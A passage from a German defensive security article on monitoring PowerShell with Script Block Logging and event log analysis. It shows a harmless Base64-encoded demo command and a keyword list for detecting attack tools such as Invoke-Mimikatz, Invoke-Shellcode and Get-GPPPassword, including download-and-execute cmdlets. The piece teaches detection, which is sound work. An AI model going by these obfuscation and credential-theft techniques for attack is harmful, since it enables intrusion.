    Demzufolge gilt es einen Kompromiss zwischen der Datenmenge und den aufzuzeichnenden Modulen zu finden. Um sämtliche Angriffe erkennen zu können, ist der Einsatz der Wildcard-Einstellung notwendig, da ein Angreifer eigene, benutzerdefinierte Module verwenden könnte, die sich dann nicht in der Filterliste befinden. Bei der Implementation der Monitoring-Lösung sollte die Datenmenge zumindest berücksichtigt werden. Eventuell lohnt es sich eine erste Filterung der Resultate bereits auf dem Client vorzunehmen und nicht alle Einträge vom Client an die Monitoring-Lösung zu senden, um so die anfallende Datenmenge zu reduzieren.

    Mit dem Windows Management Framework 5.0 wird eine zusätzliche Logging-Funktion namens PowerShell Script Block Logging eingeführt. Ein Script Block legt die Basis für ausführbaren Code und tritt in interaktiven Konsolen-Befehlen, in Kommandoaufrufen mittels des Parameters -Command $command sowie in Funktionen oder Skripten auf. Die Aktivierung der Einstellung führt dazu, dass alle durch PowerShell prozessierten Script Blocks aufgezeichnet werden. Der Vorteil dieser Einstellung gegenüber dem Module Logging ist, dass wenn in einem Script Block dynamischer Code benutzt wird, wird nebst diesem Code auch die generierte und tatsächlich ausgeführte Variante ebenfalls protokolliert. Dies ermöglicht es Code von Anwendungen zu protokollieren, die bewusst dynamische Code-Generierung zur Verschleierung einsetzen, unter anderem der Einsatz von Kodierungs- oder Verschlüsselungsmethoden. Dies ist ein verbreitetes Mittel zur Umgehung von Sicherheitslösungen, da der Schadcode erst zur Laufzeit erkennbar ist und nicht vorgängig durch den Scan einer Antivirus-Lösung.

    Eine beliebte Technik ist der Einsatz von Base64-kodierten Payloads. Ein Base64-Payload kann direkt mittels des Parameters -EncodedCommand $commandBase64 ausgeführt werden, wie das folgende Beispiel zeigt. Hier wird ein kodierter Befehl über die Konsole ausgeführt. Was der Befehl macht, ist anhand des Aufrufs nicht ersichtlich.

    PS C:\> powershell.exe -Enc "VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAFIAdQBuAG4AaQBuAGcAIABXAGkAbgBkAG8AdwBzAF8ATABvAGMAYQBsAF8ARQB4AHAAbABvAGkAdAAuAC4ALgAnAA=="
    

    Im Eventlog wird nun erstens der eigentliche Aufruf protokolliert. Zusätzlich wird in einem weiteren Logeintrag die kodierte Form des Befehls aufgezeichnet. Dadurch kann nachvollzogen werden, was tatsächlich ausgeführt wurde. Eine einfache Analyse ist natürlich mit PowerShell möglich, wie das folgende Code-Beispiel zeigt. Mittels des Befehls Get-WinEvent werden die letzten zwanzig Einträge ausgelesen und als Array in das Objekt $eventLog gespeichert. Der Eintrag $eventLog[10] beinhaltet den Logeintrag des Script Blocks in der Form, wie dieser in der Konsole ausgeführt wurde, mit der Base64-Payload. Im Eintrag $eventLog[6] ist dann die dekodierte und tatsächlich ausgeführte Form protokolliert.

    PS C:\> $eventLog = Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -MaxEvents 20
    
    PS C:\> $eventLog[10].Message
    Creating Scriptblock text (1 of 1):
    powershell.exe -Enc "VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAFIAdQBuAG4AaQBuAGcAIABXAGkAbgBkAG8AdwBzAF8ATABvAGMAYQBsAF8ARQB4AHAAbABvAGkAdAAuAC4ALgAnAA=="
    
    ScriptBlock ID: 6310fcc4-c2e5-4790-98d7-69ca0133abce
    Path:
    
    PS C:\> $eventLog[6].Message
    Creating Scriptblock text (1 of 1):
    Write-Output 'Running Windows_Local_Exploit...'
    
    ScriptBlock ID: 152104d8-dc65-41a7-8c2e-67a87828a9a4
    Path:
    

    Zurück zum Beispiel des Skripts Invoke-Mimikatz: mit der Einstellung Turn On PowerShell Script Block Logging werden nur noch 413 Einträge in das Eventlog geschrieben. Dies ist im Gegensatz zu zirka 29’000 Einträgen eine überschaubare Datenmenge und kann direkt für weitere Auswertungen genutzt werden.

    Sammeln von Eventlogs

    Das Aufzeichnen der PowerShell-Aktivitäten ist nur der erste Schritt für eine Monitoring-Lösung. Es muss sichergestellt sein, dass die Logeinträge nicht verändert oder gelöscht werden können. Die National Security Agency (NSA) und der Central Security Service (CSS) haben im Dezember 2013 ein Whitepaper namens Spotting the Adversary with Windows Event Log Monitoring veröffentlicht. Das Dokument beschreibt, wie mit Eventlogs umgegangen werden soll und welche Schutzmassnahmen notwendig sind. Ein wichtiger Punkt ist, dass die maximale Grösse eines Eventlogs angepasst und verhindert wird, dass Einträge beim Erreichen dieser Maximalgrösse überschrieben werden. Ferner muss die Integrität der Logs sichergestellt sein. Dazu gehört, dass Administratoren keine Schreibrechte auf die Log-Dateien haben. Es wird empfohlen, dass ein dedizierter Server zur Sammlung von Eventlogs eingesetzt wird. Im Whitepaper wird dazu die Konfiguration von Event-Subscriptions und der Event-Forwarding-Policy beschrieben. Dies kann natürlich auch mit anderen Mitteln oder Produkten von Drittanbietern realisiert werden.

    PowerShell-Aktivität auswerten

    Das Aufzeichnen aller PowerShell-Aktivitäten auf einem System oder mehreren Systemen führt zu einer grossen Menge an Daten. Diese Daten müssen entsprechend ausgewertet werden, um bösartige Vorgänge zu erkennen. Ein simpler Signatur-basierter Ansatz, wie das Durchsuchen nach Stichworten wie Mimikatz, Invoke-Mimikatz oder Invoke-Shellcode, greift dabei zu kurz und kann mit einfachen Mitteln umgangen werden.

    Der zielführende Ansatz ist die Suche nach bestimmten Schlüsselwörtern von PowerShell-Objekten, -Methoden oder -Commandlets, die für die Zwecke von Angriffs-Tools benötigt werden. Sean Metcalf, CTO von DAn Solutions und Security Researcher, hat in seinem Vortrag namens Red vs. Blue: Modern Active Directory Attacks & Defense an der DerbyCon 2015 eine Liste von solchen Schlüsselwörtern zusammengestellt. Eine solche Liste von Schlüsselwörtern sollte regelmässig überprüft und aktualisiert werden.

    • Allgemeine Schlüsselwörter
      • (New-Object Net.WebClient).DownloadString
      • Invoke-WebRequest
      • Invoke-Expression / IEX
      • EncodedCommand / -enc
      • Bypass
    • Invoke-Mimikatz
      • System.Reflection.AssemblyName
      • System.Reflection.Emit.AssemblyBuilderAccess
      • System.Runtime.InteropServices.MarshalAsAttribute
      • TOKEN_PRIVILEGES
      • SE_PRIVILEGE_ENABLED
    • Invoke-TokenManipulation
      • TOKEN_IMPERSONATE
      • TOKEN_DUPLICATE
      • TOKEN_ADJUST_PRIVILEGES
    • Invoke-CredentialInjection
      • TOKEN_PRIVILEGES
      • GetDelegateForFunctionPointer
    • Invoke-DLLInjection
      • System.Reflection.AssemblyName
      • System.Reflection.Emit.AssemblyBuilderAccess
    • Invoke-Shellcode
      • System.Reflection.AssemblyName
      • System.Reflection.Emit.AssemblyBuilderAccess
      • System.MulticastDelegate
      • System.Reflection.CallingConventions
    • Get-GPPPassword
      • System.Security.Cryptography.AesCryptoServiceProvider
      • 0×4e,0×99,0×06,0xe8,0xfc,0xb6,0×6c,0xc9,0xfa,0xf4
      • Groups.User.Properties.cpassword
      • ScheduledTasks.Task.Properties.cpassword
    • Out-MiniDump
      • System.Management.Automation.WindowsErrorReporting
      • MiniDumpWriteDump

    Mit diesen Schlüsselwörtern wird eine erste Filterung der Datenmenge vorgenommen. Auch in diesem Fall kann auf PowerShell-Funktionen zurückgegriffen werden. Das Feld Message wird nach Treffern durchsucht und alle betroffenen Einträge werden aufgelistet.

    PS C:\> $keywordsMimikatz = "System.Reflection.AssemblyName|System.Reflection.Emit.AssemblyBuilderAccess|System.Runtime.InteropServices.MarshalAsAttribute|TOKEN_PRIVILEGES|SE_PRIVILEGE_ENABLED"
    
    PS C:\> Get-WinEvent -ErrorAction SilentlyContinue -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"} | Where { $_.Message -imatch $keywordsMimikatz } | Format-Table -AutoSize TimeCreated,Id,RecordId,MachineName,Message
    
    TimeCreated           Id RecordId MachineName           Message
    -----------           -- -------- -----------           -------
    10.03.2016 14:39:45 4104   360280 client02.labs.scip.ch Creating Scriptblock text (1 of 1):...
    09.03.2016 11:26:45 4104   360249 client02.labs.scip.ch Creating Scriptblock text (1 of 1):...
    09.03.2016 11:26:45 4104   360248 client02.labs.scip.ch Creating Scriptblock text (1 of 1):...
    09.03.2016 11:19:28 4104   360246 client02.labs.scip.ch Creating Scriptblock text (1 of 1):...
    09.03.2016 11:19:28 4104   360245 client02.labs.scip.ch Creating Scriptblock text (1 of 1):...
    09.03.2016 11:18:54 4104   360243 client02.labs.scip.ch Creating Scriptblock text (1 of 1):...
    09.03.2016 11:18:54 4104   360242 client02.labs.scip.ch Creating Scriptblock text (1 of 1):...
    09.03.2016 11:18:20 4104   360240 client02.labs.scip.ch Creating Scriptblock text (1 of 1):...
    09.03.2016 11:18:20 4104   360239 client02.labs.scip.ch Creating Scriptblock text (1 of 1):...
    09.03.2016 11:16:55 4104   360233 client02.labs.scip.ch Creating Scriptblock text (1 of 1):...
    09.03.2016 11:16:55 4104   360232 client02.labs.scip.ch Creating Scriptblock text (1 of 1):...
    

    Die Verwendung dieser Schlüsselworte sind nur ein erster Anhaltspunkt dafür, dass ein möglicher Angriff stattfindet. Da diese Schlüsselwörter aber auch von legitimen PowerShell-Anwendungen verwendet werden können, ist eine weitere, gegebenenfalls manuelle, Auswertung der Resultate notwendig. Dabei sollte die komplette Ausgabe des Script Blocks überprüft werden, da dieser die vollständige Anweisung enthält. Zudem existieren zu jedem Eventlog-Eintrag weitere Informationen wie der Zeitstempel, der Computer- und Benutzername, die zur Nachforschung genutzt werden können.

    Anstelle einer Ausgabe aller gefunden Resultate können diese auch als Array in ein Objekt geladen werden, und über die Shell kann dann auf die einzelnen Einträge zugegriffen werden:

    PS C:\> $logs = Get-WinEvent -ErrorAction SilentlyContinue -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"} | Where { $_.Message -imatch $keywordsMimikatz }
    
    PS C:\> $logs[123].Message
    Creating Scriptblock text (1 of 131):
    function Invoke-Mimikatz
    {
    <#
    .SYNOPSIS
    
    This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as dump credentials without ever writing
    the mimikatz binary to disk. The script has a ComputerName parameter which allows it to be executed against multiple computers...
    <redacted by scip AG>
    

    In dem Logeintrag befindet sich im Script Block die Definition der Funktion Invoke-Mimikatz. Es kann dementsprechend davon ausgegangen werden, dass es sich bei den aufgezeichneten Ereignissen um einen Angriff handelte.

    Zusammenfassung

    Wie jede anderen Monitoring-Lösung ist es auch bei der Analyse von PowerShell-Aktivitäten so, dass die Konfiguration und Zusammenstellung von Filtern regelmässig überprüft und optimiert werden muss, damit diese effektiv arbeiten und sinnvoll eingesetzt werden können. Es reicht nicht aus, das Sammeln von Eventlogs zu implementieren und eine einmalig zusammengetragene Liste von Merkmalen oder Signaturen zur Auswertung einzusetzen. Eine solche Liste sollte neuen Entwicklungen entsprechend erweitert werden.

    In der Initialisierungsphase des Monitoring sollte ein Grundverständnis für die PowerShell-Aktivitäten innerhalb der eigenen Infrastruktur entwickelt werden. Daraus kann abgeleitet werden, welche Tools und Skripte regelmässig ausgeführt werden und für den Betrieb notwendig sind. Mit diesem Wissen kann die Monitoring-Lösung fein eingestellt werden, um sowohl False-Positive-Alarme zu verhindern als auch die Erkennung von Anomalien in der Infrastruktur zu verbessern.

    Wenn eine solche Anomalie erkennt und ein Alarm ausgelöst wird, muss dieser sorgfältig untersucht werden. Dabei können die Aufzeichnungen aller Aktivitäten eines Script Blocks genutzt werden. Diese Analyse sollte es möglich machen, eine Bedrohung für die Infrastruktur zu erkennen. Eine IT-Sicherheit-Abteilung, die eine solche PowerShell-Monitoring Lösung aufbaut und betreibt, wird zukünftig wieder ruhiger schlafen können.

    ]]>